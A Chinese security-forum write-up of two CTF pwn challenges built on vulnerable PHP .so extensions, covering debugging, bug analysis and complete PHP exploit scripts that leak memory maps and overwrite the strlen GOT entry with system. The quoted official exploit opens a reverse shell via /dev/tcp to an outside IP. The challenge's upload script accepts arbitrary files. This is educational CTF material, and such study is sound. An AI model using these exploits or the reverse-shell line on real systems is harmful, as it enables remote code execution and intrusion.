首页
社区
课程
招聘
[原创]CTF php .so pwn 题型分析
2024-6-4 13:18 1806

[原创]CTF php .so pwn 题型分析

2024-6-4 13:18
1806

2024-05-28-PHP-So-Pwn

基础的一些知识

  • 最近打比赛 遇到了几道 php so 模块的 pwn 题,个人感觉挺有意思的

  • 一般情况下会把php 大部分函数 ban 掉,只是用 自定义so 文件里的函数

.so 文件的导出函数

虽然里面函数名前面有zif_​ ,实际上调用的函数名是

1
2
3
4
5
add_chunk()
show_chunk()
edit_chunk()
edit_name()
free_chunk()

image

gdb调试方法(一种)

  • 可以先把本地的 gdbserver 上次到docker, 能正常运行就行了

image

  • 我只开了一个 docker 环境,正常情况下,他的ip 就是 这个加1 ,也就是 172.17.0.2

image

image

  • 然后用 gdbserver 启动

image

image

  • 上面是调试的方法,

函数传参分析

  • 分析一下正常情况的状态
1
2
3
4
5
6
7
8
<?php
 
echo "123";
echo "123";
 
add_chunk(1,[0x23],"name");
 
?>
  • gdb 调试
1
2
rdi 第一个参数可能是 传递参数的数量,
rsi 可以通过该指针指向的字符数量来得知正确的参数数量(当前add_chunk) `lzz` 3个参数 类型

image

  • 然后后面参数里的地址应该是用于存放我们传入参数的指针

image

zend_parse_parameters

https://www.bookstack.cn/read/phpbook/7.1.md

最简单的获取函数调用者传递过来的参数便是使用zend_parse_parameters()函数。zend_parse_parameters()函数的前几个参数我们直接用内核里宏来生成便可以了,形式为:ZEND_NUM_ARGS() TSRMLS_CC,注意两者之间有个空格,但是没有逗号。从名字可以看出,ZEND_NUM_ARGS()代表着参数的个数。紧接着需要传递给zend_parse_parameters()函数的参数是一个用于格式化的字符串,就像printf的第一个参数一样。下面表示了最常用的几个符号。

  • 数字类型判断
1
2
3
4 int
6 strings
7 arrary

  • 类型 传擦和返回值,用于恢复结构
1
int zend_parse_parameters(size_t arg_num, char *TypeChar, ...)
  • 如果参数不是预期的数量和类型,zend_parse_parameters​ 会返回 -1 否则 0

  • 简单了解下 lzz​ 是什么东东

1
2
3
4
5
6
7
8
9
10
11
b Boolean
l Integer 整型
d Floating point 浮点型
s String 字符串
r Resource 资源
a Array 数组
o Object instance 对象
O Object instance of a specified type 特定类型的对象
z Non-specific zval 任意类型~
Z zval**类型
f 表示函数、方法名称,PHP5.3之前没有的
  • 然后是简单分析的图

image

  • 这部分来自星盟安全的pwnshell wp

bin_data_size的映射表,将宏定义展开为如下数组所示:

1
uint32_t bin_data_size[] = {8, 16, 24, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192, 224, 256, 320, 384, 448, 512, 640, 768, 896, 1024, 1280, 1536, 1792, 2048, 2560, 3072 ...};

  • 接下来来分析几道题目

NumberGame

  • 来自 第一届“长城杯”信息安全铁人三项赛决 夺取闯关 pwn numbergame

题目环境

  • server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
 
import sys
import tempfile
import os
 
sys.stdout.write("File size >> ")
sys.stdout.flush()
size = int(sys.stdin.readline().strip())
if size > 1024*1024:
    sys.stdout.write("Too large!")
    sys.stdout.flush()
    sys.exit(1)
sys.stdout.write("Data >> ")
sys.stdout.flush()
script = sys.stdin.read(size)
 
filename = tempfile.mktemp()
with open(filename, "w") as f:
    f.write(script)
 
os.system("php " + filename)
  • Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install lib32z1 xinetd libstdc++6 lib32stdc++6 python3 -y
 
RUN useradd -m ctf
RUN echo "ctf:ctf" | chpasswd
WORKDIR /home/ctf
ADD ynetd /home/ctf
ADD server.py /home/ctf
ADD run.sh /home/ctf
 
COPY ./php.ini /usr/local/etc/php
COPY ./numberGame.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./readflag /
COPY ./flag.txt /flag.txt
 
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
 
 
EXPOSE 5555
CMD ./ynetd -p 5555 "timeout 30 ./run.sh"
  • 然后 php.ini​ 基本上禁用了所有的php函数
[PHP]

disable_functions = "system",... 
disable_classes = ""...
extension = numberGame.so ; 扩展的 so

  • 给了 .tar.gz​ 的docker 镜像包,使用以下命令进行加载(线下比赛没有网络 给Dockerfile​ 也拉起不了,所以给打包的环境)
1
docker load -i jingxiang.tar.gz

image

  • 启动环境
1
docker run --name run_numbergame  -p 5555:5555 -itd numbergame:latest

分析 numberGame.so 漏洞

imageimage

image

image

触发漏洞

大致结构体

1
2
3
4
5
6
struct mechunk{
    size_t *name_ptr;
    size_t num;
    size_t array_size; // 默认 最大 100, 通过漏洞使这里变大,我们既可以实现数组越界
     ...;
};

正常情况下,array_size 是 4

image

array_size 被改 ( 和quicksort 有关),基本上使用 edit 时 idx 就没有限制了,只要知道 heap 地址和另一个地址,即可实现任意地址写

image

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
 
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
 
function u64($leak){
    $leak = strrev($leak);
    $leak = bin2hex($leak);
    $leak = hexdec($leak);
    return $leak;
}
 
function p64($addr){
    $addr = dechex($addr);
    $addr = hex2bin($addr);
    $addr = strrev($addr);
    $addr = str_pad($addr, 8, "\x00");
    return $addr;
}
 
function leakaddr($buffer){
    global $libc, $mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/numberGame.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}
 
 
 
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
 
 
echo "\n----1-----\n";
add_chunk(5,[0,0,0,0x80000000,0],"test1"); # 需要构造好
#add_chunk(1,[0],"/bin/sh;");
add_chunk(1,[0],"/bin/sh");
$rel = show_chunk(0); # 这里触发漏洞 vlun 会把数组控制的范围增大,然后 越界修改和泄露其他地方的值
 
$heap = $rel[7];
$heap += ($rel[8] << 0x20); // 泄露 heap 地址
 
$of = $heap - 72; # 数组起始
#
$str_got = hexdec($mbase[1][0])+ 0x4008; // 计算 strlen 的地址,
##
echo "\n----heap-----\n";
echo dechex($heap);
echo "\n----4-----\n";
echo $libc[1][0];
echo "\n----4-----\n";
#
$offset = ($str_got - $of) / 4;
 
$system = (hexdec($libc[1][0]) + 0x4c490);
 
echo $offset;
edit_chunk(0,$offset,$system & 0xffffffff); # 修改strlen_got表低四字节为 system
//修改name 的时候 会先 strlen测量 name 的长度 strlen("/bin/sh");
 
edit_name(1,'1'); #
 
 
?>

image

PwnShell

题目环境

  • Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
FROM php:8.3-apache
RUN apt-get update
RUN apt-get upgrade -y
RUN DEBIAN_FRONTEND=noninteractive
RUN apt install vim -y
 
COPY ./stuff/php.ini /usr/local/etc/php
COPY ./stuff/vuln.so /usr/local/lib/php/extensions/no-debug-non-zts-20230831
COPY ./stuff/readflag /
COPY ./flag.txt /flag.txt
COPY ./stuff/index.php /var/www/html
RUN chmod 400 /flag.txt
RUN chmod u+sx /readflag
RUN chmod -R 777 /var/www/html

  • index.php, 用于上传 exp 文件,然后访问触发
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
@error_reporting(E_ALL);
$file = $_FILES['file'];
if (!isset($file)){
    die('upload error');
}
$result = move_uploaded_file($file['tmp_name'], $file['name']);
 
if ($result){
    echo 'upload success';
}else{
    echo 'upload error';
}

调试方法

  • 本机配置php.ini vlun.so
1
2
3
/etc/php/8.3/apache2/php.ini
添加
extension = vuln.so

然后把所需要的 so 放到指定目录, 后面再启动的后应该就可以成功加载了

image

  • 启动 docker 后可以在本机看到进程,但是由于使用的是 apache2 + php , 直接这个pid 是无法断点和跟进程序的,反正我是这样...

image

  • 直接用本机apache2 + php 环境调试,

  • 所以说,没法直接调试,我们可以是用 /usr/sbin/apachectl -X​ 即可调试进程. apachectl​是一个 shell脚本

image

  • pid 80795 是真正的 执行程序,后面就调试它

image

  • gdb pdi

image

  • 可以看到存在漏洞的 .so,后面就是边看边调试了

image

  • 交互脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from os import system
import sys
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
rl      = lambda                    :io.recvline()
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
 
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','190']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    elif args.AWD:
        # python3 exp.py AWD 1.1.1.1 PORT
        IP = str(sys.argv[1])
        PORT = int(sys.argv[2])
        return remote(IP,PORT)
    else:
        return process([binary] + argv, *a, **kw)
 
io = process(['/usr/sbin/apachectl', '-X'])
print(io.pid)
 
sleep(0.1)
 
import subprocess
gdbscript = '''
b *zif_addHacker
#b *zif_displayHacker
b *zif_editHacker
#b *zif_editHacker
c
'''
 
command = ["pgrep", "-f", "/usr/sbin/apache2"]
result = subprocess.run(command, capture_output=True, text=True)
 
 
pids = int(result.stdout.strip().split("\n")[0])
 
 
gdb.attach(pids,gdbscript)
 
pause()
 
system('cp exp.php /var/www/html/exp.php')
system('curl http://127.0.0.1/exp.php')
itr()

分析 vuln.so

  • 大致是这几个函数
1
2
3
4
addHacker()
removeHacker()
displasyHacker()
edithacker()

image

  • 分析出的函数传参和调用
1
2
3
4
5
addHacker("test1","test2");# text, text
// 下面的基本上猜都能猜出来
removeHack(0);      # idx
editHack(0,"ntxt"); # idx, new_text
displayHack(0);     # idx

image

漏洞分析

image

1
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
  • 还没有触发 off by null​ 时,0x77b36de73040​ 里面存的指针还是正常的

image

  • off by null​ 触发后,下面的那个链表已经被修改了

image

  • 重叠了, 后面就是指针打指针了,正好指向的是 editHacker() 编辑的指针

image

  • 脚本试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
 
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
 
function hex($addr){
    return dechex($addr);
}
 
// str_repeat("\x90", 0x8)
// str_pad($cmd, 0x20, "\x00")
 
function u64($leak){
    $leak = strrev($leak);
    $leak = bin2hex($leak);
    $leak = hexdec($leak);
    return $leak;
}
 
function p64($addr){
    $addr = dechex($addr);
    $addr = hex2bin($addr);
    $addr = strrev($addr);
    $addr = str_pad($addr, 8, "\x00");
    return $addr;
}
 
function leakaddr($buffer){
    global $libc,$mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    #$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/lib\/php\/20230831\/vuln.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}
 
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
 
 
//echo hex($libc_base)."\n";
//echo hex($module_base)."\n";
 
$pay = p64($module_base + 0x4020);
$pay = str_pad($pay,0x40,"\x01");
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
addHacker($pay, str_repeat("D", 0x2f));
 
editHacker(0,'111');
 
?>
  • 可以看到 strlen 的 got 已经杯修改了,后面其实就很简单了

image

  • getshell

image

image

image

exploit

  • 这里只是测试的本地环境
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
 
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
 
function hex($addr){
    return dechex($addr);
}
 
// str_repeat("\x90", 0x8)
// str_pad($cmd, 0x20, "\x00")
 
function u64($leak){
    $leak = strrev($leak);
    $leak = bin2hex($leak);
    $leak = hexdec($leak);
    return $leak;
}
 
function p64($addr){
    $addr = dechex($addr);
    $addr = hex2bin($addr);
    $addr = strrev($addr);
    $addr = str_pad($addr, 8, "\x00");
    return $addr;
}
 
function leakaddr($buffer){
    global $libc,$mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    #$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/lib\/php\/20230831\/vuln.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}
 
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$module_base=hexdec($mbase[1][0]);
$system = $libc_base +  362304;
 
 
//echo hex($libc_base)."\n";
//echo hex($module_base)."\n";
 
$cmd = "echo `whoami`\x00";
 
$pay = p64($module_base + 0x4020);
$pay = str_pad($pay,0x40,"\x01");
addHacker(str_repeat("A", 0x8), str_repeat("B", 0x30));
addHacker($pay, str_repeat("D", 0x2f));
addHacker($cmd,$cmd);
editHacker(0,p64($system));
 
displayHacker(2);
?>

官方的Wp-exploit-学

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
$heap_base = 0;
$libc_base = 0;
$libc = "";
$mbase = "";
 
function u64($leak){
    $leak = strrev($leak);
    $leak = bin2hex($leak);
    $leak = hexdec($leak);
    return $leak;
}
 
function p64($addr){
    $addr = dechex($addr);
    $addr = hex2bin($addr);
    $addr = strrev($addr);
    $addr = str_pad($addr, 8, "\x00");
    return $addr;
}
 
function leakaddr($buffer){
    global $libc,$mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}
 
function leak(){
    global $libc_base, $module_base, $libc, $mbase;
 
    ob_start("leakaddr");
    include("/proc/self/maps");
    $buffer = ob_get_contents();
    ob_end_flush();
    leakaddr($buffer);
    $libc_base=hexdec($libc[1][0]);
    $module_base=hexdec($mbase[1][0]);
}
function attack($cmd){
    global $libc_base, $module_base;
    $payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x90");
    $gadget = p64($libc_base + 0x4c490);
    addHacker(str_repeat("\x90", 0x8), str_repeat("\x90", 0x30));
    addHacker($payload, str_repeat("\x90", 0x2f));
    addHacker(str_pad($cmd, 0x20, "\x00"), "114514");
    editHacker(0, $gadget);
}
function main(){
    $cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"';
    leak();
    attack($cmd);
    removeHacker(2);
}
 
main();
?>

附件下载

1
https://pan.baidu.com/s/1vMlz4msbfnf0tQsNEMhlwA?pwd=imzl

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回